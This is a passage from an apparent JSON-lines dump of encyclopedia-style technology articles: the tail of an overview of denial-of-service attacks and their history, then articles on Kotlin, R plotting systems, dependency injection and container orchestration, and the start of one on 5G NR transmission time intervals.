The techniques mostly applied are artificial intelligence, game theory, soft computing and multi-agent approaches. These examples can be Game Theoretic Approach, An Ant Based Framework, Message Observation Technique and Protection using KDS. Firewalls are used to protect the system from any suspicious incoming and outgoing messages. Messages that don't meet security criteria are blocked.\n    + **Attack Detection**: Detection takes place during the attack. Analysing the attack helps us learn the attack pattern and avoid similar attacks in the future.\n    + **Attack Response**: Response happens taken after the attack is detected. It is crucial to have an intrusion response team to identify the attack and track down the host. One possible response is to nullify the attack or shut down the network.\n\n### How are DDoS attacks different from DoS attacks?\n\nDoS (Denial of Service) attacks and DDoS (Distributed Denial of Service) attacks have the same aim but different methods of attacking. In a DoS attack, a **single attacker uses a single system to attack a single target**. In a DDoS attack, a **single attacker uses multiple systems to attack a single target**. \n\nThere is less traffic in a DoS attack as a single system creates traffic. In a DDoS attack, due to multiple systems attacking the victim, there is heavy traffic. The attack is easy to trace in the case of a DoS attack but difficult to trace in DDoS. In both cases, the attack period is short, but the DoS attack process is slow while the DDoS attack is fast. \n\n## Milestones\n\n1974\n\nAn incident occurs in CERL (Computer-based Education Research Laboratory) at the University of Illinois Urban-Champaign. David Dennis, a 13-year-old student at University High School, comes to know about external command (ext) in TUTOR, a programming language in PLATO. Through this command, he writes a program sending \"ext\" to everyone within a range of site numbers. The next morning around 31 users power off their system at once. He also experiments on some sites around the country, and a mass posting on notes files about locking out happens. \n\n1988\n\nRobert Tappan Morris develops the Morris Worm for research and experimentation. Nevertheless, a bug is found in the code where the system cannot detect whether it already has the code installed. Due to this, the worm replicates itself, creating a Denial of Service attack. \n\nSep  \n1996\n\nA DoS attack occurs in PAINX, where there is an SYN Flood attack. On a Friday evening, the main mail host system of the PAINX is attacked. The attacker forges the source addresses on attack packets, so that it becomes difficult to identify the attacker. On Monday, the attacker starts to attack telnet ports, routers and web services. \n\nFeb  \n2000\n\nMichael Calce, known as Mafiaboy on the Internet, launches a Rivolta (meaning \"Rebellion\" in Italian). Rivolta takes place in YAHOO through a DoS attack, which then continues to eBay, CNN and Amazon. The damages from this attack are around $7.5 million and $1.2 billion at the global level.  \n\nDec  \n2003\n\nA DoS attack occurs from December 10, 2003, 3:20 AM PST to December 11, 2003, 10:40 AM PST. The first attack on SCO Group happens on Dec 10. Their web servers become the target of a SYN flood attack of approximately 34,000 packets per second. This causes their switchboards to flood. On December 11, their web server and FTP servers are SYN flooded, reaching 50,000 packets per second. By 10:40 AM, it is reduced to 3,700 packets per second. \n\n2007\n\nA huge wave of DDoS attacks takes place in Estonia, targeting Estonia's essential infrastructures, telecommunications, name servers, websites, e-mail, and DNS. The attack appears to be politically motivated. Estonia's biggest bank shuts down, causing a loss of $1 million. \n\nOct  \n2016\n\nA DDoS attack on Dyn occurs due to the Mirai Botnet. Mostly North America and Europe are affected. Major internet platforms including Twitter, Amazon, GitHub, and the New York Times become unavailable. The recovery expenses are estimated to cost each organisation, on average, $2.5 million.","meta":{"title":"Denial-of-Service Attack","href":"denial-of-service-attack"}}
{"text":"# Kotlin (Language)\n\n## Summary\n\n\nKotlin is a next-generation programming language developed by JetBrains. It combines both object-oriented and functional features. It's focused on interoperability, safety, clarity and tooling support. It can be used for server-side, desktop or mobile apps. \n\nIt's statically typed like Java, C, and C++. It's also fully compatible with Java but has a much simpler syntax. Google officially supports it for the Android platform and therefore Android apps can be written in Kotlin. Kotlin has multiplatform support, which means that code can be reused across Android, iOS or Web. \n\nIt's open sourced under Apache 2 License. It's managed by the *Kotlin Foundation*.\n\n## Discussion\n\n### In what application areas is Kotlin most suitable?\n\nDiverse set of apps can be built with Kotlin since it's a general-purpose language. It can be used to build mobile apps such as Android apps. Server-side apps can be built with Kotlin. Wherever Java is used for enterprise apps, such apps can be migrated to Kotlin. Since Kotlin can be compiled to JavaScript it can be used for web app development. \n\nKotlin uses two file extensions: `.kt` for object-oriented programming and `.kts` for command-line scripting. This suggests that Kotlin can be used for scripting. Kotlin also has an interactive shell. This is useful for learning or clarifying doubts since results of code execution can be seen right away. \n\nIn the real world, adopters of Kotlin include Pinterest, Gradle, Evernote, Corda, Coursera, Uber, Trello, Kickstarter, Square, and many more. \n\n\n### What's the difference between Kotlin and Java?\n\nWhile there are differences, it's important to first note that Kotlin is compatible with Java. Kotlin code can be mixed with Java and can call existing Java libraries. IDEs also support automated conversion of Java code to Kotlin code. This makes the transition from Java to Kotlin a lot easier for existing projects. Since Kotlin targets JVM, Kotlin `.kt` files compile to `.jar` files.\n\nHere are some reasons why it makes sense to move to Kotlin: \n\n    + **Learning Curve**: Kotlin has a simpler syntax and therefore easier to learn.\n    + **Development Environment**: Kotlin has excellent IDE support, including IntelliJ IDEA and Android Studio. Compilation is fast, sometimes faster than Java. Similar support is lacking in Scala.\n    + **Concise**: Kotlin does more with less code. Strong type inference is one reason. Java has always been known for its verbosity.\n    + **Performance**: With Kotlin’s support for inline functions, code often runs faster.\n    + **Safe**: Kotlin avoids NullPointerException. Since you write less code, there's less chance of introducing errors.\n    + **Multiplatform**: Though initially created for JVM, Kotlin can be used for front-end development and even native apps.\n\n### Could you mention some key features of Kotlin?\n\nHere are some features of Kotlin: \n\n    + **Extensions**: Add extra functionality to an existing component.\n    + **Higher-order Functions**: Functions themselves can be arguments to or returned from other functions.\n    + **Interoperable with Java**: Kotlin code can be called from Java code and vice versa.\n    + **Null Safety**: Objects are null safe by default so that nasty null pointer exceptions are avoided.\n    + **Smart Cast**: Object is automatically cast to a desired type.\n    + **Default Arguments**: Java took the approach of function overloading instead.\n    + **Named Arguments**: Makes code more readable and order of arguments can be changed.\n    + **Multi-value Returns**: Returned values can be unpacked into separate variables using *destructuring declaration*.\n    + **Data Class**: Gets rid of the more verbose getters and setters in Java.A JetBrains survey from 2017 showed that three features are highly requested: collection literals, Single Abstract Method (SAM) conversions for Kotlin interfaces, and truly immutable data. JetBrains makes no promise if and when these features might be available. There are also features that developers don't want: accessing private members from tests, collection comprehensions, and static members in classes. \n\n\n### What resources are available for a Kotlin beginner?\n\nStart by reading some examples in Kotlin Playground. For more in-depth information, read the official Kotlin documentation or tutorials. To learn by solving short exercises, Kotlin Koans is recommended. It's a series of exercises that will help you learn Kotlin step by step.\n\nKotlin style guide is an essential read. There's also a Kotlin for Android style guide.\n\nFor latest news, follow the Kotlin blog or the weekly mailing list. Links to other community resources such as podcasts, talks and Slack channels are available online. \n\n## Milestones\n\nJul  \n2011\n\nJetBrains unveils Kotlin at the JVM Language Summit. It's a new language for the Java Virtual Machine (JVM). The team is lead by Dmitry Jemerov and they have been working on it for almost a year. Since JetBrains makes development tools, work on IDE support for Kotlin happens in parallel with language design and evolution. JetBrains engineers later comment that although Scala was popular, it wasn't as fast or simple as desired. Groovy and Clojure had different programming paradigms. \n\nJan  \n2012\n\nDr. Dobb's Journal names Kotlin as the Language of the Month. \n\nFeb  \n2012\n\nJetBrains open sources the project under the Apache 2 License. This includes the compiler, Ant/Maven integration tools, IntelliJ IDEA plugin and enhancements to basic Java libraries. \n\nFeb  \n2016\n\nKotlin v1.0 is released. Future releases will remain backward compatible with v1.0, thus showing that Kotlin is mature. \n\nMay  \n2017\n\nAt Google I/O 2017, Google announces support for Kotlin on Android. Until then, Android supported only Java and C++. It's mentioned that Expedia, Flipboard, Pinterest, and Square are among those already using Kotlin in production. Android support marks a turning point in Kotlin adoption. For example, by November 2017, number of lines of code on GitHub rose from 5 million to 25 millions. \n\nNov  \n2017\n\nKotlin v1.2 is released. In v1.1 it was possible to compile Kotlin to JavaScript and run within a browser. With v1.2, it's possible to share code between JVM and Javascript platforms. Regular updates to v1.2 are made. In September 2018, v1.2.70 is released. \n\nOct  \n2018\n\nKotlin v1.3 is released. *Coroutines* is now a stable feature and useful for writing non-blocking code. To compile code directly to native binaries, *Kotlin/Native* is released as beta version. To reuse code across platforms, *multiplatform* features remains experimental but gets many updates. \n\nNov  \n2018\n\nKotlin team releases version 1.0 of **Ktor**, a web framework built in Kotlin. It's good for building asynchronous servers and clients in connected systems. Thanks to coroutines, complex asynchronous constructs can be expressed as sequential code. It's claimed that Ktor is already running at scale in many production systems.","meta":{"title":"Kotlin (Language)","href":"kotlin-language"}}
{"text":"# R Plotting Systems\n\n## Summary\n\n\nData visualization is an important task for a statistician, data analyst or data scientist. It's an essential part of exploratory data analysis. R has more than one plotting system to do this visualization. Each has a different syntax. R programmers prefer to master one of them and at least become familiar with the rest. \n\nDefault R packages support only 2D plots. However, third-party packages are available for 3D and interactive plots. Plots produced can be exposed via web interfaces. R also integrates well with many third-party visualization and analysis software.\n\n## Discussion\n\n### Which are the plotting systems in R?\n\nR has three plotting systems: \n\n    + **Base**: We start with a blank canvas and start adding elements to it one by one. We can create the main plot and then add labels, axes, lines, and so on. Base plots are said to be intuitive since the process of creating them closely mirrors the thought process. Once something's on the plot, we can't go back and correct it.\n    + **Lattice**: A plot is created with a single function call. Margins and spacing are set automatically since the entire plot is known when the function is called. Lattice is good for multivariate plots since it's easy to create many subplots.\n    + **ggplot2**: This is a cross between Base and Lattice systems. Like Lattice, many things are automatically set but like Base it allows us to add to the plot after it's created. Lots of customizations are possible.\n\n### Which of the R plotting systems should I learn?\n\nUsers on Quora have commented that Base plots are good for exploratory data analysis. The idea is to plot quickly without thinking about neatness. But if you need to create plots for publications, ggplot2 is preferred. Lattice plots are not that popular. Nathan Yau has compared both Base and ggplot2. He uses only Base. \n\nJeff Leek has echoed a similar sentiment that he prefers using Base for exploratory data analysis. Defaults available in ggplot2 can produce great plots with minimal code but can fool students into thinking that they're production ready. \n\nAgainst the Base plot, David Robinson argues that ggplot2's pretty plots should be preferred over Base's ugly ones, even for exploratory data analysis. Creating legends, grouped lines and facets are cumbersome in Base system. With ggplot2, we don't need loops, grid statements or if statements because, \n\n> Base plotting is imperative, it’s about what you do. ggplot2 plotting is declarative, it’s about what your graph is.\n\nWe should note that `qplot` command of ggplot2 offers a simplified syntax that's similar to the Base system. Hence, learning only the ggplot2 system thoroughly may be enough.\n\n\n### How can I make my R plots interactive?\n\nInteractive plots enable users to zoom into areas of interest, highlight important data points or hide irrelevant data points. Extra information can be shown via tooltips when users hover the mouse on specific data points. \n\nWith `plotly` package, we can make ggplot2 plots interactive. This becomes an easy learning path for those already familiar with ggplot2. However, `plotly` can also be used on its own without ggplot2. An alternative to this is `highcharter` package that wraps over HighCharts JavaScript library. \n\nShiny from RStudio enables interaction via a web interface. It supports both Base and ggplot2 systems. Called Shiny apps, they can be enhanced with `shinythemes`, `htmlwidgets` and JavaScript. To interact across widgets, add-on `crosstalk` can be used.\n\nD3 is an influential charting library from the JavaScript and web world. Similar plots can be created in R without using any JavaScript. Examples of this include rCharts, d3scatter and networkD3. \n\n\n### What packages enable 3D plots in R?\n\nThe Base system has the function `persp` that draws perspective views of a surface over the x-y plane. The command `demo(persp)` will show what's possible. Other R packages for 3D visualization include `plot3D`, `scatter3d`, `scatterplot3d`, `rgl`. \n\nPackages `rgl` and `scatter3d` are interactive whereas `scatterplot3d` is non-interactive. There's also an extension of `plot3D` called `plot3Drgl`, which is based on `rgl`. \n\nPlotly's R package called `plotly` can do interactive 3D plots. \n\n\n### Which third-party data visualization and analysis software integrate well with R?\n\nThere are plenty of data visualization and analysis software. Many of these are now able to integrate with R. *Plotly* integrates well with ggplot2 and Shiny but can also do plots without either of them. *Highcharts* integration is available via `highcharter`, which uses `htmlwidgets`, and works well with Shiny. Microsoft's *Power BI* can run integrate with R, run R script and display R plots within its Power BI Desktop software. \n\n*MicroStrategy* has its own visualizations but it can integrate with R for scripting and data analysis. Something similar can be done with *Tableau* and *QlikView*. \n\n\n### Could you list some useful plot commands in the Base system?\n\nYou can obtain a complete list by typing `library(help = \"graphics\")` in the R console. Here we give a selection based on R version 3.5.0: `assocplot`, `barplot`, `boxplot`, `cdplot`, `coplot`, `dotchart`, `fourfoldplot`, `hist`, `matplot`, `mosaicplot`, `pie`, `plot`, `spineplot`, `stem`, `sunflowerplot`. \n\nOnce the main plot is generated, other functions can be called to annotate and customize: `abline`, `axis`, `box`, `grid`, `legend`, `lines`, `mtext`, `points`, `rug`, `text`, `title`. \n\nTo generate a plot containing subplots, `par` and `layout` can be used. To customize colours, lines, background, axes orientation and margins, `par` is useful. \n\n\n### Could you list some useful plot commands in the Lattice system?\n\nYou can obtain a complete list by typing `library(help = \"lattice\")` in the R console. Here we give a selection based on version v0.20-35. Bivariate plots can be generated using `xyplot`, `dotplot`, `barchart`, `stripplot`, `bwplot`. For 3D and wireframes, use `cloud` and `wireframe` respectively. For histograms and density plots, use `histogram` and `densityplot` respectively. For level plots and contour plots, use `levelplot` and `contourplot` respectively. \n\nIn any of the Lattice plots, *panels* can be created to handle multivariate data. For example, a scatterplot comparing height vs age can be done in separate panels for males and females. Functions that enable panels are many and these are typically named with prefix `panel.`. These panel functions are implicitly called via the syntax `y~x|a*b`, where `a` and `b` are the variables by which panels are made. For example, `xyplot(mpg~wt|cyl*gear, data = mtcars)` will give a scatterplot of cyl\\*gear number of panels. \n\n\n### Could you list some useful plot commands in the ggplot2 system?\n\nYou can obtain a complete list by typing `library(help = \"ggplot2\")` in the R console. Here we give a selection based on version 2.2.1. There are two main plotting functions: \n\n    + `ggplot`: This creates a new blank plot that must be completed by calling other helper functions.\n    + `qplot`: Also called *Quick Plot*, this offers a simplified syntax compared to `ggplot`. This is an ideal starting point for those familiar with R's Base plots. For complex plots, `ggplot` may be required.When using `ggplot`, the following functions are needed in completing the plot: \n\n    + `geom_*`: These functions specify what type of *geometric objects* should be plotted. Examples include `geom_point`, `geom_path`, `geom_bar`, `geom_boxplot`, and many more. Data, if specified here, will override data specified in `ggplot`.\n    + `aes`: This specifies the aesthetics, the mapping of variables to x and y axes. For data points, we can select shape, colour and size. This can be done when calling `ggplot` or `geom_*` functions. Aesthetics specified in individual `geom_*` calls will override those specified in `ggplot`.\n\n### What's the technique of creating a plot with ggplot2?\n\nggplot2 is an implementation of a modified **Grammar of Graphics**, which was first proposed by Leland Wilkinson in 1999 and later revised in 2005. It was created by Hadley Wickham, who calls it the **Layered Grammar of Graphics**. \n\nThe concept of layering is used; that is, ggplot2 combines multiple layers of visualizations to make a single plot. For example, `ggplot` will create the plot while each call to `geom_*` creates a layer of geometric objects. Coordinates and facets are specified. Further calls can set the theme, add annotations, adjust the scale, and so on. When all these are combined, we get the complete plot.\n\nTo generalize the concept, Wickham mentions the following components for a typical plot: \n\n    + Default dataset and mappings from variables to aesthetics.\n    + Layers to specify geometric objects, statistical transformations and positions.\n    + Scale for each aesthetic mapping.\n    + Coordinate system.\n    + Facet specification.\n\n### What customizations can I do with ggplot2?\n\nWithout being exhaustive, the following customizations in ggplot2 are possible:\n\n    + **Annotations**: With `annotate`, text, shaded rectangles, lines, labels, etc. can be added.\n    + **Coordinates**: With `coord_*` functions, we can select coordinates (Cartesian vs Polar), transform coordinates, flip x and y axes, and so on.\n    + **Facets**: These allow visualization of multivariate data. Function with prefix `facet_*` enable this. The syntax `a ~ .` places the panels vertically; `. ~ a` places the panels horizontally, side by side.\n    + **Themes**: Themes control colours, sizes, positions, borders and margins of background, panels, axes titles, axes ticks, axes labels, and so on. Two themes are available: `theme_grey()` (default) and `theme_bw()` (sets background to white). You can create own custom themes.\n    + **Scale**: Scale for the axes can be customized using many functions: `discrete_scale`, `continuous_scale`, `guides`, `lims`, `scale_*` (multiple functions), and so on.\n    + **Position**: Functions `position_*` adjust the position of geoms.\n    + **Statistics**: Functions that produce statistical summaries before generating geoms.\n\n### What are ggplot2 extensions?\n\nThird-party packages add extra functionality to the ggplot2 plotting system. These are called **ggplot2 extensions** and they are tracked at ggplot2-exts.org. In May 2018, this site listed a gallery of 40 extensions. As a sample, these include radar charts, animated charts, time series charts, alluvial diagrams, directed acyclic graphs, and more. Notably, `ggedit` allows users to interactively edit the layers, scales and themes. \n\nIncidentally, `latticeExtra` extends the capabilities of the Lattice system. \n\n## Milestones\n\nFeb  \n2000\n\nAlthough R started in 1993, first public release 1.0.0 is made in February 2000. Base plotting system is part of this release. \n\n2001\n\nDeepayan Sarkar starts working on the **Lattice** system. He's inspired by **Trellis Graphics** that was first proposed by Bill Cleveland in 1993 and subsequently implemented in S/S+ languages. However, it's equivalent was missing in R. Sarkar uses `grid` add-on package of Paul Murrell (2002) to develop Lattice. \n\n2005\n\nLeland Wilkinson publishes the second edition of his book titled *The Grammar of Graphics*. This was first published in 1999. This book inspires Hadley Wickham to create `ggplot` and `ggplot2`. \n\n2006\n\nHadley Wickham releases `ggplot`. The final release 0.4.2 of this package is made in October 2008. Subsequently, it's replaced with `ggplot2`.\n\nJun  \n2007\n\nHadley Wickham releases `ggplot2` version 0.5. In February 2014, the package goes into maintenance mode (no new features). Version 2.2.1 of the package is released in December 2016. In a five-year span 2012-2017, the package is downloaded 10 million times. In May 2017 alone, it's gets 400,000 downloads. \n\nAug  \n2012\n\nFor interactive web applications with R, including plots, Shiny v0.1.2 is released. Version v1.0.0 is released in 2017. \n\n2013\n\nVersion 1.0 of `plot3D` package is released.","meta":{"title":"R Plotting Systems","href":"r-plotting-systems"}}
{"text":"# Dependency Injection\n\n## Summary\n\n\nThe recommended practice in creating complex software is to adopt a modular design. Functionality is decomposed into modules or classes, each doing something specific and exposing their services via well-defined interfaces. This implies that one module will often depend on other modules or components of the system.\n\nDependencies among modules can lead to code that's tightly coupled and less maintainable. **Dependency Injection (DI)** is therefore used to resolve dependencies at *runtime* rather than at *compile time*. Objects that have dependencies will not themselves create those dependencies. They will instead rely on an another entity to create and inject those dependencies. \n\nDependency Injection is considered a design pattern and not a framework. It's one way of implementing a more general software concept called **Inversion of Control (IoC)**. It's also part of **SOLID Design Principles**.\n\n## Discussion\n\n### Could you explain dependency injection with an example?\n\nLet's consider a class `XRateForecaster` that forecasts currency exchange rates. It accesses a database to obtain historical rates. It accesses a remote service for real-time rates. It also invokes an algorithm that does the forecasting. This class therefore has three dependencies that need to be fulfilled for it to work properly.\n\nWithout DI, `XRateForecaster` will probably instantiate these dependencies on its own. This would work but what happens if these dependencies are modified in future? `XRateForecaster` would need to be modified. Worse still, `XRateForecaster` is tightly coupled with its dependencies. We can't do any unit testing with it without resolving its dependencies.\n\nWith DI, the dependent class does not construct its dependencies. The dependencies are injected into it at runtime. Obviously, moving legacy code to this design pattern implies that code has to be refactored. It should be noted that DI doesn't remove dependencies. It merely separates the creation of dependencies from their consumption. \n\n\n### What are the benefits of using dependency injection?\n\nDI loosens the tight coupling between modules, classes or services. Code maintainability improves. Code can be reused. Because dependencies are injected at runtime, a different mock implementation can be injected for the purpose of unit testing. In fact, unit testing is one of the big benefits of adopting DI.  \n\nWith DI, different implementations of the dependencies can be supplied. In other words, the dependent class can be written in abstraction without worrying about concrete implementations of its dependencies. Dependencies are no longer scattered across the app. They can be centralized in a container, or specified in an XML file. \n\n*Dependency carrying* happens when a class instantiates a service it doesn't need but one of its dependencies needs. DI solves this problem. Jakob Jenkov describes many situations where DI is useful. \n\n\n### What are some potential problems of using dependency injection?\n\nBecause dependencies are resolved at runtime, errors in dependencies cannot be caught at compile time. Tracing dependencies can be difficult. In languages such as Java or C#, there can be an explosion of data types. Programmers can become overdependent on DI frameworks. Learning a specific DI framework and managing the configuration can be extra work. \n\nUsing DI for the sake of using it is wrong. If you're never going to use another implementation or configuration, then it's best to avoid DI. One of the principles of object-oriented programming is encapsulation but DI break encapsulation. DI brings some of the implementation details, the dependencies, out to the interface. \n\nDI can be done without containers. In fact, it's been said that containers add more lines of code and even more files if XML configuration is used. It adds unnecessary complexity. Worse still, using global singleton as injector causes problems. \n\n\n### What are the different types of dependency injection?\n\nThere are three common ways of injecting dependencies: \n\n    + **Constructor Injection**: Dependency is passed to the object via its constructor that accepts an interface as an argument. A concrete class object is bound to the interface handle. This is typically used if the dependent object has to use the same concrete class for its lifetime.\n    + **Method Injection**: A.k.a. interface-based injection. Dependency is passed to the object via a method. This is useful if a different concrete object needs to be used at different times. For example, if the dependency is a notification, sometimes this may sent as an SMS, and other times as an email for the same dependent object.\n    + **Property Injection**: A.k.a. setter injection. If the dependency is selected and invoked at different places, we can set the dependency via a property exposed by the dependent object, which can then invoke it later.An alternative to the above is *Service Locator*, which abstracts away the job of resolving dependencies. However, some identify this too as a form of dependency injection since the locator itself has to be injected into the dependent object. \n\n\n### Are there frameworks for dependency injection?\n\nWhile it's possible to implement dependency injection without any frameworks, what if your dependencies themselves depend on other dependencies? Frameworks simplify the job by providing what's called an **IoC Container** or **Dependency Injection Container (DIC)**. \n\nA container will create the dependent object along with its dependencies. Writing container code can also get tedious since we need to create one for each dependent class. This is where frameworks come in by providing generic DICs that can read in configuration information about dependencies, say, from an XML file. \n\nSpring Framework, PicoContainer, HiveMind, XWork, Java EE6 CDI, Weld, Google Guice, Salta, Glassfish HK2, Dagger and Managed Extensibility Framework (MEF) are example DI frameworks. For .NET, DI frameworks include Spring.NET, Castle Windsor, Unity, StructureMap, Autofac and Ninject. \n\nIn Spring, there are at least three ways of doing DI: XML, annotations, pure Java code. Angular has its own DI mechanism using `@Injectable` decorator. ASP.NET Core does it via its built-in service container, `IServiceProvider` Google Guice uses `@Inject` constructor annotation. For Android, there's Dagger, RoboGuice, ButterKnife and Android Annotation. \n\n\n### Could you share some tips on dependency injection for beginners?\n\nPassing in too many dependencies is an indication that the class is doing too much. It's better to split the class into multiple classes, each having a specific responsibility. Injecting dependencies but not using them or passing them to other classes is another anti-pattern. Inject interfaces, not implementations. Know what services need to be exposed, mark them public and keep all others private. If you use configuration files (XML, YAML, etc.) keep them readable. \n\nA common anti-pattern is to invoke a singleton static container to instantiate services from within a dependent class. This is the service locator approach. It's using IoC container without doing DI. Instead, inject an interface into the constructor. If you use containers, register all components and resolve at the root component. \n\nDI is not the only way to achieve IoC. Other ways include factory pattern, template method pattern, strategy pattern and service locator pattern. However, for example, with factory pattern the class still instantiates the factory and dependencies from within rather than being injected from the outside. \n\n## Milestones\n\nAug  \n1994\n\nRobert Martin notes that object-oriented design on its own will not make code robust, maintainable and reusable. The pattern of interdependencies across subsystems matters too. A module's intent should not dependent on its details. He uses the term *Dependency Inversion*. In June 1995 he defines the *Principle of Dependency Inversion*,\n\n> Details should depend upon abstractions. Abstractions should not depend upon details.\n\n1998\n\nThe term *Inversion of Control (IoC)* is coined by Brian Foote. He implies that frameworks don't have the power. They are extensible skeletons and their behaviour is tailored by methods supplied by client code or application. In essence, components are externally managed. \n\n1999\n\nStefano Mazzocchi and others propose Java Apache Server Framework, later called Avalon. This uses IoC as one of its fundamental design principles. Avalon may be credited with popularizing IoC. According to Mazzocchi, IoC is really about isolation, modularity and reuse. The need to inject dependencies is an effect, not the cause. \n\n2003\n\nSpring Framework is released. Spring was conceived by Rod Johnson a year earlier and released as part of his book on the framework. It uses DI and IoC containers, although he states that the term DI was coined in late 2003. Also in 2003, names type 1/2/3/4 are renamed to today's familiar names interface/setter/constructor injection. \n\n2004\n\nMartin Fowler coins the term *Dependency Injection* in an article. He explains that it's a specific form of Inversion of Control (IoC). He also compares it to an alternative pattern called *Service Locator*.","meta":{"title":"Dependency Injection","href":"dependency-injection"}}
{"text":"# Container Orchestration\n\n## Summary\n\n\nContainer orchestration is the process of deploying containers on a compute cluster consisting of multiple nodes. Orchestration tools extend lifecycle management capabilities to complex, multi-container workloads deployed on a cluster of machines. By abstracting the host infrastructure, container orchestration tools allow the users deploying to entire cluster as a single deployment target. \n\nThe rise of lightweight and flexible containers, have given rise to new application architectures and fundamentally changed how applications are deployed and visualised today. The containerisation approach is to package the different services that constitute an application into separate compute containers, and to deploy those containers across a cluster of physical or virtual machines. With the rise of containerisation the need container orchestration all but obvious. As a definition, \n\n> Container orchestration is a process that automates the deployment, management, scaling, networking, and availability of container-based applications.\n\n## Discussion\n\n### What's the process of Container Orchestration?\n\nThe process of deploying containers to multiple virtual machines or physical machines within a cluster to implement an application can be optimized through automation. This becomes more and more valuable as the number of containers and hosts grow. Container Orchestration envisions a number of features, some of which are mentioned below: \n\n    + Provisioning hosts\n    + Instantiating a set of containers\n    + Rescheduling failed containers\n    + Linking containers together through agreed interfaces\n    + Exposing services to machines outside of the cluster\n    + Scaling out or down the cluster by adding or removing containers\n\n### Where does container orchestration fit within the system stack?\n\nContainer orchestration mediates between the apps or services above and the container runtimes below. Three main functional aspects of what they do include: \n\n    + **Service Management**: Labels, groups, namespaces, dependencies, load balancing, readiness checks.\n    + **Scheduling**: Allocation, replication, resurrection, rescheduling, rolling deployment, upgrades, downgrades.\n    + **Resource Management**: Memory, CPU, GPU, volumes, ports, IPs.A survey from 2016 indicated that among the features considered important are Scheduling, Cluster Management, Service Discovery, Provisioning and Monitoring. \n\nIn addition to the above, there are a number of non-functional aspects that are important: scalability, availability, flexibility, usability, portability, and security. \n\n\n### What are some Container Orchestration tools available?\n\nSome container orchestration tools worth mentioning include the following: \n\n    + **Docker Swarm:** Provides native clustering functionality for Docker containers, which turns a group of Docker engines into a single, virtual Docker engine.\n    + **Google Container Engine:** Google Container Engine, built on Kubernetes, lets you run Docker containers on the Google Cloud.\n    + **Kubernetes:** An orchestration system for Docker containers. It handles scheduling and manages workloads based on user-defined parameters.\n    + **Mesosphere Marathon:** Marathon is a container orchestration framework for Apache Mesos that is designed to launch long-running applications.\n    + **Amazon ECS:** The ECS supports Docker containers and lets you run applications on a managed cluster of Amazon EC2 instances.\n    + **Azure Container Service (ACS):** ACS lets you create a cluster of virtual machines that act as container hosts along with master machines that are used to manage your application containers.\n    + **Cloud Foundry’s Diego:** Container management system that combines a scheduler, runner, and health manager.\n    + **CoreOS Fleet:** Container management tool that lets you deploy Docker containers on hosts in a cluster as well as distribute services across a cluster.\n\n### Which container orchestration tool should I use?\n\nIt's been said that Kubernetes has been widely adopted, particularly for stateless, composable workloads. Marathon is designed for long-running apps. Marathon can handle persistent containers. Those offered by Google, Amazon and Microsoft may result in vendor lock-in: it may be difficult to move your app to another provider at a later point. If you wish to build your own Platform-as-a-Service (PaaS), take a look at Cloud Foundry. \n\nAmong the lesser known names are Cattle, Shipyard, Nomad, Empire, Aurora, Singularity, PaaSTA and Titus. In fact, some are tools and some are frameworks. Kubernetes is an orchestrator by itself. Apache Mesos is a distributed systems kernel upon which you can build custom orchestrators. DC/OS and Marathon is implementations on top of Mesos. Shipyard is considered an orchestrator orchestrator because it uses Docker Swarm. Amazon EC2 is an IaaS and Empire is a PaaS for containers, and both these have orchestrators built into them. \n\n\n### What are some security considerations when working with container orchestration tools?\n\nWhile many of the concerns when using containers are common to bare metal deployments, containers provide an opportunity to improve levels of security if used properly. Because containers are so lightweight and easy to use, it's easy to deploy them for very specific purposes, and the container technology helps ensure that only the minimum required capabilities are exposed. \n\n\n### Are there alternatives to managing containers without using an orchestration platform?\n\nWhile orchestration platforms (Docket Swarm, Kubernetes) are easier to use, there are other alternatives that may suit some teams. Those with programming background could use shell scripting to customize to their requirements. The same can be said of those who use configuration management tools for deployment. On the other end of the scale, teams can simply subscribe to a Containers-as-a-Service (CaaS) for minimal maintenance. For example, Google Kubernetes Engine (GKE) abstracts away and manages Kubernetes master nodes for you. \n\n## Milestones\n\n2009\n\nAt UC Berkeley, **Mesos** starts as a research project to improve cluster utilization. The concept of containers is unknown at this time but there's a need to manage clusters of resources. Cluster frameworks MapReduce and MPI are examples. Mesos gives a common layer spanning diverse cluster computing frameworks. \n\nJul  \n2015\n\nVersion 1.0 of **Kubernetes** is released. It also becomes part of Cloud Native Computing Foundation (CNCF). Kubernetes was previously open sourced by Google in June 2014. \n\nSep  \n2015\n\nHashicorp's **Nomad** is released as a \"cluster manager and scheduler designed for microservices and batch workloads\". \n\nNov  \n2015\n\nVersion 1.0 of **Docker Swarm** is released. During beta, it was used for running 1,000 nodes and 30,000 containers on EC2. It was able to schedule containers in less than half a second. In July 2016, this is released as part of Docker v1.12 and is known as **Swarm Mode**. \n\nOct  \n2017\n\nDocker announces that it will support Kubernetes. This means that operations have more choice (Docker Swarm Mode or Kubernetes) for managing their clusters/containers.","meta":{"title":"Container Orchestration","href":"container-orchestration"}}
{"text":"# 5G NR Transmission Time Interval\n\n## Summary\n\n\nTransmission Time Interval (TTI) is composed of consecutive OFDM symbols in the time domain in a particular transmit direction. By combining different number of symbols, different TTI durations are possible. \n\nIn the frequency domain, different numerologies are permitted, corresponding to different Sub-Carrier Spacing (SCS). A higher SCS shortens symbol duration and hence shortens TTI. A combination of numerology and TTI determines how many bits and in what manner they're transmitted on the air interface. \n\nCompared to LTE, 5G NR improves the design of TTI towards lower latency and more efficient use of radio resources. For 5G's Ultra-Reliable and Low-Latency Communications (URLLC) use case covering driverless cars, disaster response, factory automation and more, low latency is essential. It's been noted that, \n\n> Latency is in general a function of the TTI.\n\n## Discussion\n\n### How does TTI design in 5G compare against 4G/LTE?\n\nIn 4G/LTE, TTI is fixed to 1ms and it's composed of 14 OFDM symbols. This is only the transmission time on the air interface. Other delay components include processing delay (at base station and UE) and HARQ retransmissions. In uplink, making a scheduling request and waiting for the grant adds to the delay. Estimates of one-way delay assuming 10% block error rate are 4.8ms (DL) and 11.3ms (UL). This is significant delay for URLLC use case. \n\nLTE Release 15 introduced **shortened TTI** of 2 symbols and 7 symbols. In FDD-LTE, both are allowed. In TDD-LTE, only 7-symbol shortened TTI is allowed. The release also specifies how processing times can be shortened. Making these changes to LTE was a challenge due to requirements of backward compatibility, that is, UEs that don't support shortened TTI should coexist with those that do. \n\n5G design includes **scalable TTI**, corresponding to slot durations 62.5µs to 1ms. One or more consecutive slots allocated to either DL or UL make up a TTI. 5G also incorporates **mini-slot** transmissions, which is similar to what LTE calls shortened TTI. \n\n\n### Could you describe 5G NR's scalable TTI design?\n\nBy using different SCS in 5G NR, different slot durations and TTIs are configurable. For example, 15kHz SCS with 14 symbols spanning the entire subframe corresponds to LTE's configuration. At 240kHz 